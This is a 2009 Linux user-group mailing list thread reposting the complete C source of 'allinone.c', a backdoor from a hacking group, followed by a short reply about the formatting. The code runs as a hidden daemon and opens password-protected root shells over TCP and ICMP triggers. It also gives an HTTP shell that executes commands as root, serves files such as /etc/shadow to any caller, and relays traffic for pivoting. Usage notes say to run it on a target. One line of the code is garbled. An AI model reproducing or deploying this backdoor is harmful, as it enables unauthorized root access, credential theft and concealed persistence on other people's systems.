Linux Security Team Toy Series: allinone.c
Lisa Kachold
lisakachold at obnosis.com
Sun Jul 12 21:42:23 MST 2009
http://nasrulkurniawan.blog.uns.ac.id/2007/05/03/allinonec/
On Sun, Jul 12, 2009 at 8:29 PM, Ryan Rix<phrkonaleash at gmail.com> wrote:
> On Sun 12 July 2009 7:49:13 pm Lisa Kachold wrote:
>> Shell coding fun with ICMP/HTTP, Socks proxy.
>>
>> AllINONE.c
>>
>> /************************************************************************
>> * allinone.c for HUC (2002.1)
>> *
>> * allinone.c is
>> * a Http server,
>> * a sockets transmit server,
>> * a shell backdoor,
>> * a icmp backdoor,
>> * a bind shell backdoor,
>> * a like http shell,
>> * it can translate file from remote host,
>> * it can give you a socks5 proxy,
>> * it can use for to attack, jumps the extension, Visits other machines.
>> * it can give you a root shell.:)
>> *
>> * Usage:
>> * compile:
>> * gcc -o allinone allinone.c -lpthread
>> * run on target:
>> * ./allinone
>> *
>> * 1.httpd server
>> * Client:
>> * http://target:8008/givemefile/etc/passwd
>> * lynx -dump http://target:8008/givemefile/etc/shadow > shadow
>> * or wget http://target:8008/givemefile/etc/shadow
>> *
>> * 2.icmp backdoor
>> * Client:
>> * ping -l 101 target (on windows)
>> * ping -s 101 -c 4 target (on linux)
>> * nc target 8080
>> * kissme:) --> your password
>> *
>> * 3.shell backdoor
>> * Client:
>> * nc target 8008
>> * kissme:) --> your password
>> *
>> * 4.bind a root shell on your port
>> * Client:
>> * http://target:8008/bindport:9999
>> * nc target 9999
>> * kissme:) --> your password
>> *
>> * 5.sockets transmit
>> * Client:
>> * http://target:8008/socks/:local listen port::you want to tran
>> ip:::you want to tran port
>> * http://target:8008/socks/:1080::192.168.0.1:::21
>> * nc target 1080
>> *
>> * 6.http shell
>> * Client:
>> * http://target:8008/givemeshell:ls -al (no pipe)
>> *
>> * ps:
>> * All bind shell have a passwd, default is: kissme:)
>> * All bind shell will close, if Two minutes do not have the connection.
>> * All bind shell only can use one time until reactivates.
>> *
>> *
>> * Code by lion, e-mail: lion at cnhonker.net
>> * Welcome to HUC Website, Http://www.cnhonker.com
>> *
>> * Test on redhat 6.1/6.2/7.0/7.1/7.2 (maybe others)
>> * Thx bkbll's Transmit code, and thx Neil,con,iceblood for test.
>> *
>> ************************************************************************/
>>
>>
>> #include <stdio.h>
>> #include <string.h>
>> #include <signal.h>
>> #include <netdb.h>
>> #include <netinet/ip.h>
>> #include <netinet/in.h>
>> #include <sys/wait.h>
>> #include <sys/socket.h>
>> #include <sys/types.h>
>> #include <sys/time.h>
>> #include <pthread.h>
>> #include <unistd.h>
>> #include <fcntl.h>
>> #include <errno.h>
>>
>>
>> #define HTTPD_PORT 8008
>> #define BIND_PORT 8888
>> #define ICMP_PORT 8080
>> #define TRAN_PORT 1080
>> #define SIZEPACK 101
>> #define MAXSIZE 32768
>> #define TIMEOUT 120
>> #define CONNECT_NUMBER 1
>> #define HIDEME "[login] "
>> #define HIDEICMP "[su] "
>> #define HIDEFILE "[bash] "
>> #define GET_FILE "givemefile"
>> #define SHELL_NAME "givemeshell"
>> #define BIND_NAME "bindport"
>> #define TRAN_NAME "socks"
>> #define DISPART ":"
>> #define DISPART1 "::"
>> #define DISPART2 ":::"
>> #define PASSWORD "kissme:)" /* Change it */
>> #define MESSAGE "\r\n========Welcome to
>> http://www.cnhonker.com========\r\n==========You got it, have a
>> goodluck. :)=========\r\n\r\nYour command: \0"
>> #define GIVEPASS "\r\nEnter Your password: \0"
>>
>> #define max(a, b) (a)>(b)?(a) : (b)
>>
>> int maxfd, infd, outfd;
>> unsigned char ret_buf[32768];
>>
>> int daemon_init(); /* init the daemon, if success return 0 other <0 */
>> void sig_chid(); /* wait the child die */
>> int TCP_listen(); /* success return 1 else return -1 */
>> char* read_file(); /* return the file content as a large string, buf
>> value like GET /index.html HTTP:/1.1 */
>> ssize_t writen_file(); /* writen data to socket */
>> int bind_shell(); /* bind a root shell to a port */
>> int get_shell(); /* get me the root shell */
>> int icmp_shell(); /* icmp backdoor */
>> int socks(); /* socks */
>> int create_socket();
>> int create_serv();
>> int client_connect();
>> int quit();
>> void out2in();
>> char x2c(); /* http shell */
>> void unescape_url();
>> void plustospace();
>>
>>
>> /* The main function from here */
>> int main(int argc, char *argv[])
>> {
>> int fd, len, i, icmp;
>> int csocket;
>> struct sockaddr_in caddr;
>> char readstr[4000];
>> char *cbuf;
>> pid_t pid;
>>
>> /* make it to a daemon */
>> /*signal(SIGHUP, SIG_IGN);*/
>> signal(SIGCHLD, sig_chid);
>> daemon_init();
>>
>> if((pid = fork()) == -1) exit(0);
>> if(pid <= 0)
>> {
>> strcpy(argv[0], HIDEICMP);
>> icmp_shell();
>> }
>>
>> fd = TCP_listen(HTTPD_PORT);
>> if(fd <= 0) return -1;
>>
>> for(;;)
>> {
>> strcpy(argv[0], HIDEME);
>>
>> /* check httpd */
>> len = sizeof(caddr);
>> if((csocket = accept(fd, &caddr, &len)) < 0) continue;
>> if((pid = fork()) == -1) continue;
>> if(pid <= 0)
>> {
>> strcpy (argv[0], HIDEFILE);
>> i = recv(csocket, readstr, 4000,0);
>> if (i == -1) break;
>> if( readstr[ i -1 ] != '\n' ) break;
>> readstr [i] = '\0';
>> /*printf("Read from client: %s \n", readstr);*/
>> cbuf = read_file(readstr, csocket);
>> close(csocket);
>> }
>> close(csocket);
>> }
>> close(fd);
>> return(1);
>> }
>>
>>
>> /* init the daemon, if success return 0 other <0 */
>> int daemon_init()
>> {
>> struct sigaction act;
>> int i, maxfd;
>>
>> if(fork() != 0) exit(0);
>> if(setsid() < 0) return(-1);
>>
>> act.sa_handler = SIG_IGN;
>> /*act.sa_mask = 0;*/
>> act.sa_flags = 0;
>>
>> sigaction(SIGHUP, &act, 0);
>>
>> if(fork() != 0) exit(0);
>>
>> chdir("/");
>> umask(0);
>> maxfd = sysconf(_SC_OPEN_MAX);
>> for(i=0; i<maxfd; i++)
>> close(i);
>> open("/dev/null", O_RDWR);
>> dup(0);
>> dup(1);
>> dup(2);
>> return(0);
>> }
>>
>>
>> /* wait the child die */
>> void sig_chid(int signo)
>> {
>> pid_t pid;
>> int stat;
>> while((pid = waitpid(-1, &stat, WNOHANG))>0);
>> printf("children %d died\n", pid);
>> return;
>> }
>>
>> /* success return 1 else return -1 */
>> int TCP_listen(int port)
>> {
>> struct sockaddr_in laddr ;
>> int fd;
>> socklen_t len ;
>> fd = socket(AF_INET, SOCK_STREAM, 0);
>> len = sizeof(laddr) ;
>> memset(&laddr, 0, len) ;
>> laddr.sin_addr.s_addr = htonl(INADDR_ANY) ;
>> laddr.sin_family = AF_INET ;
>> laddr.sin_port = htons(port) ;
>> if((bind(fd, (const struct sockaddr *)&laddr, len))) return(-1);
>> if(listen(fd, 5)) return(-1);
>> return(fd);
>> }
>>
>> /* http server */
>> char * read_file(char *buf, int fd)
>> {
>> char *erro=
>> "Content-type: text/html\n\n"
>> "HTTP/1.1 404 Not Found\n"
>> "Date: Mon, 14 Jan 2002 03:19:55 GMT\n"
>> "Server: Apache/1.3.22 (Unix)\n"
>> "Connection: close\n"
>> "Content-Type: text/html\n\n"
>> "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 4.0//EN\">\n"
>> "<HTML><HEAD>\n"
>> "<TITLE>404 Not Found</TITLE>\n"
>> "</HEAD><BODY>\n"
>> "<H1>Not Found</H1>\n"
>> "The requested URL was not found on this server.<P>\n"
>> "<HR>\n"
>> "<ADDRESS>Apache/1.3.22 Server at localhost Port 8008</ADDRESS>\n"
>> "</BODY></HTML>\n\n";
>>
>> char *bindok=
>> "Content-type: text/html\n\n"
>> "<html>\n<head><title>Bind Shell ok.:)</title></head>\n"
>> "<body bgcolor=\"#000000\">\n"
>> "<div align=\"center\"><p>\n"
>> "<font face=\"Arial\" color=\"#999999\" size=\"7\"><b>\n"
>> "You get it, goodluck! :-)\n"
>> "</b></font></p></div><br>\n"
>> "</body></html>\n\n";
>>
>> char *tranok=
>> "Content-type: text/html\n\n"
>> "<html>\n<head><title>Tran ok.:)</title></head>\n"
>> "<body bgcolor=\"#000000\">\n"
>> "<div align=\"center\"><p>\n"
>> "<font face=\"Arial\" color=\"#999999\" size=\"7\"><b>\n"
>> "Tran ok!\n"
>> "</b></font></p></div><br>\n"
>> "</body></html>\n\n";
>>
>> char *httpok1=
>> "Content-type: text/html\n\n"
>> "<html>\n<head><title>Shell ok.:)</title></head>\n"
>> "<body bgcolor=\"#000000\">\n"
>> "<div align=\"left\">\n"
>> "<pre><font face=\"Arial\" color=\"#999999\" size=\"2\">\n";
>>
>> char *httpok2=
>> "</font></pre></div><br>\n"
>> "</body></html>\n\n";
>>
>> char *yourcom=
>> "<b>Your Command:</b>\n";
>>
>> char *br=
>> "<br>\n";
>>
>> int listenp, targetp, i, j, c, bport;
>> char *cmd, *par, *op, *hp, *tp, *targeth, *command;
>> char *swap_file = "/tmp/tmp.txt";
>> char *setpath =
>> "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:.";
>> FILE *f;
>>
>> /* check give me shell */
>> cmd = buf;
>> par = strstr(cmd, PASSWORD);
>> if(par != NULL)
>> {
>> /*printf("Get Shell:\n");*/
>> get_shell(fd);
>> exit(0);
>> }
>>
>> /* check bind root shell on a port */
>> par = strstr(cmd, BIND_NAME);
>> op = strstr(cmd, DISPART);
>> if(par != NULL && op != NULL)
>> {
>> bport = atoi(op + strlen(DISPART));
>> if(bport <= 0)
>> bport = BIND_PORT;
>> /*printf("Bind Port: %d\n", bport);*/
>> write(fd, bindok, strlen(bindok));
>> close(fd);
>> bind_shell(bport);
>> exit(0);
>> }
>>
>> /* check Tran code */
>> par = strstr(cmd, TRAN_NAME);
>> op = strstr(cmd, DISPART);
>> hp = strstr(cmd, DISPART1);
>> tp = strstr(cmd, DISPART2);
>> if(par != NULL && op != NULL && hp != NULL && tp != NULL)
>> {
>> listenp = atoi(op + strlen(DISPART));
>> if(listenp <= 0)
>> listenp = TRAN_PORT;
>> targetp = atoi(tp + strlen(DISPART2));
>> if(targetp <= 0)
>> targetp = 23;
>>
>> hp = (hp + strlen(DISPART1));
>> targeth = strncpy(ret_buf, hp,strlen(hp) - strlen(tp));
>> targeth[strlen(hp) - strlen(tp)] = '\0';
>>
>> /*printf("Tran Port: listen %d port to %s %d port\n", listenp,
>> targeth, targetp);*/
>> write(fd, tranok, strlen(tranok));
>> close(fd);
>> /*
>> listenp = 1080;
>> targetp = 21;
>> targeth = "192.168.0.14";
>> */
>> socks(listenp, targeth, targetp);
>> exit(0);
>> }
>>
>> /* check http shell */
>> par = strstr(cmd, SHELL_NAME);
>> op = strstr(cmd, DISPART);
>> if(par != NULL && op != NULL)
>> {
>> tp = buf + 5 + strlen(SHELL_NAME) + strlen(DISPART);
>> hp = strstr(tp, "HTTP");
>> if(hp != NULL) *hp = '\0';
>> tp[strlen(tp) - 1] = 0;
>> plustospace(tp);
>> unescape_url(tp);
>> /*printf("HTTP Shell: %s\n", tp);*/
>>
>> c = j = strlen(tp);
>> tp[j] = ' ';j++;
>> tp[j] = ' ';j++;
>> tp[j] = '>';j++;
>> tp[j] = ' ';j++;
>> for(i = 0; i <= strlen(swap_file); i++, j++)
>> {
>> tp[j] = swap_file[i];
>> }
>> tp[j + strlen(swap_file)] = '\0';
>>
>> command = tp;
>> /*printf("command: %s\n",command); */
>> setuid(0);
>> setgid(0);
>> chdir("/");
>> putenv(setpath);
>> /*printf("setpath ok!\n");*/
>> system(command);
>> /*printf("system ok!\n");*/
>>
>> f = fopen(swap_file, "r");
>> if (f == NULL)
>> {
>> /*printf("Swap file error");*/
>> writen_file(fd, erro, strlen(erro));
>> return erro;
>> }
>>
>> writen_file(fd, httpok1, strlen(httpok1));
>> writen_file(fd, yourcom, strlen(yourcom));
>> writen_file(fd, command, c);
>> writen_file(fd, br, strlen(br));
>> writen_file(fd, br, strlen(br));
>> while( !feof(f) )
>> {
>> i = fread(ret_buf, 1, 32768, f);
>> if (i == 0) break;
>> writen_file(fd, ret_buf, i);
>> }
>> fclose(f);
>> writen_file(fd, br, strlen(br));
>> writen_file(fd, httpok2, strlen(httpok2));
>> remove(swap_file);
>> exit(0);
>> }
>>
>> /* check getfile */
>> par = NULL;
>> par = strstr(cmd, GET_FILE);
>> if(par != NULL)
>> {
>> op = buf + 5 + strlen(GET_FILE);
>> tp = strstr(op, "HTTP");
>> if(tp != NULL) *tp = '\0';
>> op[strlen(op) - 1] = 0;
>> /*printf("Get File: %s\n", op);*/
>> f = fopen(op, "r");
>> if (f == NULL)
>> {
>> writen_file(fd, erro, strlen(erro));
>> return erro;
>> }
>>
>> while( !feof(f) )
>> {
>> i = fread(ret_buf, 1, 32768, f);
>> if (i == 0) break;
>> writen_file(fd, ret_buf, i);
>> }
>> fclose(f);
>> exit(0);
>> }
>> writen_file(fd, erro, strlen(erro));
>> close(fd);
>> exit(-1);
>> }
>>
>>
>> /* writen data to socket */
>> ssize_t writen_file(int fd, const void *vptr, size_t n)
>> {
>> size_t nleft;
>> ssize_t nwritten;
>> const char *ptr;
>> ptr = vptr;
>> nleft = n;
>> while(nleft > 0)
>> {
>> if((nwritten = write(fd, ptr, nleft)) <= 0)
>> {
>> if(errno == EINTR)
>> nwritten = 0;
>> else
>> return(-1);
>> }
>> nleft -= nwritten;
>> ptr += nwritten;
>> }
>> return(n);
>> }
>>
>> /* bind root shell to a port */
>> int bind_shell(int port)
>> {
>> int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid, i, time;
>> char passwd[15];
>>
>> struct sockaddr_in serv_addr;
>> struct sockaddr_in client_addr;
>> struct timeval testtime;
>>
>> setuid(0);
>> setgid(0);
>> seteuid(0);
>> setegid(0);
>>
>> chdir("/");
>>
>> soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
>>
>> if (soc_des == -1)
>> exit(-1);
>>
>> bzero((char *) &serv_addr,sizeof(serv_addr));
>> serv_addr.sin_family = AF_INET;
>> serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
>> serv_addr.sin_port = htons(port);
>>
>> soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
>>
>> if (soc_rc != 0)
>> exit(-1);
>> if (fork() != 0)
>> exit(0);
>> setpgrp();
>> if (fork() != 0)
>> exit(0);
>> soc_rc = listen(soc_des, 5);
>> if (soc_rc != 0)
>> exit(0);
>>
>> testtime.tv_sec = TIMEOUT;
>> testtime.tv_usec = 0;
>>
>> /*setsockopt(soc_des, SOL_SOCKET, SO_RCVTIMEO, &testtime,
>> sizeof(testtime));*/
>>
>> alarm(TIMEOUT);
>> soc_len = sizeof(client_addr);
>> soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);
>>
>> if (soc_cli < 0)
>> exit(0);
>> alarm(0);
>>
>> cli_pid = getpid();
>> server_pid = fork();
>>
>> if (server_pid != 0)
>> {
>> write(soc_cli, GIVEPASS, strlen(GIVEPASS));
>> recv(soc_cli, passwd, sizeof(passwd), 0);
>>
>> for (i = 0; i < strlen(passwd); i++)
>> {
>> if (passwd[i] == '\n' || passwd[i] == '\r')
>> {
>> passwd[i] = '\0';
>> }
>> }
>>
>> if (strcmp(passwd, PASSWORD) != 0)
>> {
>> close(soc_cli);
>> close(soc_rc);
>> exit(-1);
>> }
>>
>> write(soc_cli, MESSAGE, strlen(MESSAGE));
>> for (i = 0; i < 3; i++)
>> {
>> dup2(soc_cli, i);
>> }
>>
>> execl("/bin/sh","sh",(char *)0);
>> close(soc_cli);
>> close(soc_rc);
>> exit(1);
>> }
>> close(soc_cli);
>> close(soc_rc);
>> exit(0);
>> }
>>
>> /* return a root shell */
>> int get_shell(int fd)
>> {
>> int i;
>> setuid(0);
>> setgid(0);
>>
>> chdir("/");
>> write(fd, MESSAGE, strlen(MESSAGE));
>> for (i = 0; i < 3; i++)
>> {
>> dup2(fd, i);
>> }
>> execl("/bin/sh","sh",(char *)0);
>> close(fd);
>> return 1;
>> }
>>
>> /* icmp backdoor */
>> int icmp_shell()
>> {
>> int i, s, size, fromlen, port = ICMP_PORT;
>> char pkt[4096];
>>
>> struct protoent *proto;
>> struct sockaddr_in from;
>>
>> proto = getprotobyname("icmp");
>>
>> /* can't creat raw socket */
>> if((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0)
>> exit(0);
>>
>> /* waiting for packets */
>> while(1)
>> {
>> do
>> {
>> fromlen = sizeof(from);
>> if((size = recvfrom(s, pkt, sizeof(pkt), 0, (struct sockaddr
>> *)&from, &fromlen)) < 0)
>> printf("", size - 28);
>> }while(size != SIZEPACK + 28);
>>
>> /* size == SIZEPACK, let's bind the shell on your port :)*/
>> switch(fork())
>> {
>> case -1:
>> continue;
>>
>> case 0:
>> bind_shell(port);
>> exit (0);
>> }
>> }
>> return 1;
>> }
>>
>> /* tran socks code */
>> int socks(int listenp, char *targeth, int targetp)
>> {
>> int listfd, outside, inside, size;
>> pthread_t thread1;
>> struct sockaddr_in client;
>>
>> if(!(listfd = create_socket())) exit(1);
>> if(!(create_serv(listfd, listenp))) exit(1);
>>
>> for(;;)
>> {
>> size = sizeof(struct sockaddr);
>> /*printf("waiting for response.........\n");*/
>> if((outfd = accept(listfd, (struct sockaddr *)&client, &size)) < 0)
>> {
>> /*printf("accept error\n");*/
>> continue;
>> }
>>
>> /*printf("accept a client from %s\n", inet_ntoa(client.sin_addr));*/
>> if(!(infd=create_socket())) exit(1);
>> if(!(client_connect(infd, targeth, targetp))) quit(outfd, infd, listfd);
>>
>> maxfd = max(outfd, infd) + 1;
>> pthread_create(&thread1, NULL, (void *)&out2in, NULL);
>> }
>> close(listfd);
>> }
>>
>> int create_socket()
>> {
>> int sockfd;
>>
>> if((sockfd = socket(AF_INET, SOCK_STREAM, 0))<0)
>> {
>> /*printf("Create socket error\n");*/
>> return(0);
>> }
>> return(sockfd);
>> }
>>
>> int create_serv(int sockfd, int port)
>> {
>> struct sockaddr_in srvaddr;
>>
>> bzero(&srvaddr, sizeof(struct sockaddr));
>> srvaddr.sin_port = htons(port);
>> srvaddr.sin_family = AF_INET;
>> srvaddr.sin_addr.s_addr = htonl(INADDR_ANY);
>>
>> if(bind(sockfd, (struct sockaddr *)&srvaddr, sizeof(struct sockaddr))<0)
>> {
>> /*printf("Bind to port %d error\n",port);*/
>> return(0);
>> }
>>
>> if(listen(sockfd,CONNECT_NUMBER)<0)
>> {
>> /*printf("listen error\n");*/
>> return(0);
>> }
>> return(1);
>> }
>>
>> int client_connect(int sockfd, char *server, int port)
>> {
>> struct sockaddr_in cliaddr;
>> struct hostent *host;
>>
>> if(!(host = gethostbyname(server)))
>> {
>> /*printf("gethostbyname error:%s\n",server);*/
>> return(0);
>> }
>>
>> bzero(&cliaddr, sizeof(struct sockaddr));
>> cliaddr.sin_family = AF_INET;
>> cliaddr.sin_port = htons(port);
>> cliaddr.sin_addr = *((struct in_addr *)host->h_addr);
>>
>> if(connect(sockfd, (struct sockaddr *)&cliaddr, sizeof(struct sockaddr)) <
>> 0) {
>> /*printf("connect %s:%d error\n",server,port);*/
>> return(0);
>> }
>> return(1);
>> }
>>
>> int quit(int a, int b, int c)
>> {
>> close(a);
>> close(b);
>> close(c);
>> exit(1);
>> }
>>
>> void out2in()
>> {
>> struct timeval timeset;
>> fd_set readfd, writefd;
>> int result, i = 0;
>> char read_in1[MAXSIZE], send_out1[MAXSIZE];
>> char read_in2[MAXSIZE], send_out2[MAXSIZE];
>> int read1 = 0, totalread1 = 0, send1=0;
>> int read2 = 0, totalread2 = 0, send2=0;
>> int out_fd, in_fd;
>>
>> out_fd = outfd;
>> in_fd = infd;
>>
>> bzero(read_in1, MAXSIZE);
>> bzero(read_in2, MAXSIZE);
>> bzero(send_out1, MAXSIZE);
>> bzero(send_out2, MAXSIZE);
>>
>> timeset.tv_sec = TIMEOUT;
>> timeset.tv_usec = 0;
>>
>> while(1)
>> {
>> FD_ZERO(&readfd);
>> FD_ZERO(&writefd);
>>
>> FD_SET(out_fd, &readfd);
>> FD_SET(in_fd, &writefd);
>> FD_SET(out_fd, &writefd);
>> FD_SET(in_fd, &readfd);
>>
>> result = select(maxfd, &readfd, &writefd, NULL, °¡et);
>> if(result < 0)
>> {
>> /*printf("select error\n");*/
>> return;
>> }
>> else
>> if(result == 0)
>> {
>> /*printf("time out\n");*/
>> return;
>> }
>>
>> if(FD_ISSET(out_fd, &readfd))
>> {
>> read1 = recv(out_fd, read_in1, MAXSIZE, 0);
>> if(read1 == 0) break;
>> if(read1 < 0)
>> {
>> /*printf("read data error\n");*/
>> return;
>> }
>> memcpy(send_out1 + totalread1, read_in1, read1);
>> totalread1 += read1;
>> bzero(read_in1, MAXSIZE);
>> }
>> if(FD_ISSET(in_fd, &writefd))
>> {
>> while(totalread1 > 0)
>> {
>> send1 = write(in_fd, send_out1, totalread1);
>> if(send1 == 0)break;
>> if(send1 < 0)
>> {
>> /*printf("unknow error\n");*/
>> continue;
>> }
>> totalread1 -= send1;
>> }
>> bzero(send_out1, MAXSIZE);
>> }
>>
>> if(FD_ISSET(in_fd, &readfd))
>> {
>> read2 = recv(in_fd, read_in2, MAXSIZE, 0);
>> if(read2 == 0) break;
>> if(read2 < 0)
>> {
>> /*printf("read data error\n");*/
>> return;
>> }
>>
>> memcpy(send_out2 + totalread2, read_in2, read2);
>> totalread2 += read2;
>> bzero(read_in2, MAXSIZE);
>> }
>>
>> if(FD_ISSET(out_fd, &writefd))
>> {
>> while(totalread2 > 0)
>> {
>> send2 = write(out_fd, send_out2, totalread2);
>> if(send2 == 0) break;
>> if(send2 < 0)
>> {
>> /*printf("unknow error\n");*/
>> continue;
>> }
>>
>> totalread2 -= send2;
>> }
>> bzero(send_out2, MAXSIZE);
>> }
>> }
>> close(out_fd);
>> close(in_fd);
>> return;
>> }
>>
>> char x2c(char *what)
>> {
>> register char digit;
>>
>> digit = (what[0] >= 'A' ? ((what[0] & 0xdf) - 'A')+10 : (what[0] - '0'));
>> digit *= 16;
>> digit += (what[1] >= 'A' ? ((what[1] & 0xdf) - 'A')+10 : (what[1] - '0'));
>> return (digit);
>> }
>>
>>
>> void unescape_url(char *url)
>> {
>> register int x, y;
>>
>> for(x = 0 , y = 0; url[y]; ++x, ++y)
>> {
>> if((url[x] = url[y]) == '%')
>> {
>> url[x] = x2c(&url[y + 1]);
>> y += 2;
>> }
>> }
>> url[x] = '\0';
>> }
>>
>> void plustospace(char *str)
>> {
>> register int x;
>>
>> for(x = 0; str[x]; x++)
>> if (str[x] == '+')
>> str[x] = ' ';
>> }
>>
>>
>> endfun
>
> This would be so much better as an attachment so my mail client didn't die
> horribly and it could be translated to a compilable file easily ;)
>
> ---
> Ryan Rix
> (623)-826-0051
>
> Linus Torvalds:
>> This is the special easter release of linux, more mundanely called 1.3.84
> Winfried Truemper:
>> Umh, oh. What do you mean by "special easter release"?. Will it quit
>> working today and rise on easter?
>
> http://hackersramblings.wordpress.com | http://twitter.com/phrkonaleash
> XMPP: phrkonaleash at gmail.com | MSN: phrkonaleash at yahoo.com
> AIM: phrkonaleash | Yahoo: phrkonaleash
> IRC: PhrkOnLsh at irc.freenode.net/#srcedit,#teensonlinux,#plugaz and
> countless other FOSS channels.
>
>
> ---------------------------------------------------
> PLUG-discuss mailing list - PLUG-discuss at lists.plug.phoenix.az.us
> To subscribe, unsubscribe, or to change your mail settings:
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>
Get it here: http://www.obnosis.com/allinone_c.txt
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http://linuxgazette.net/164/kachold.html
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(503)754-4452 www.obnosis.com
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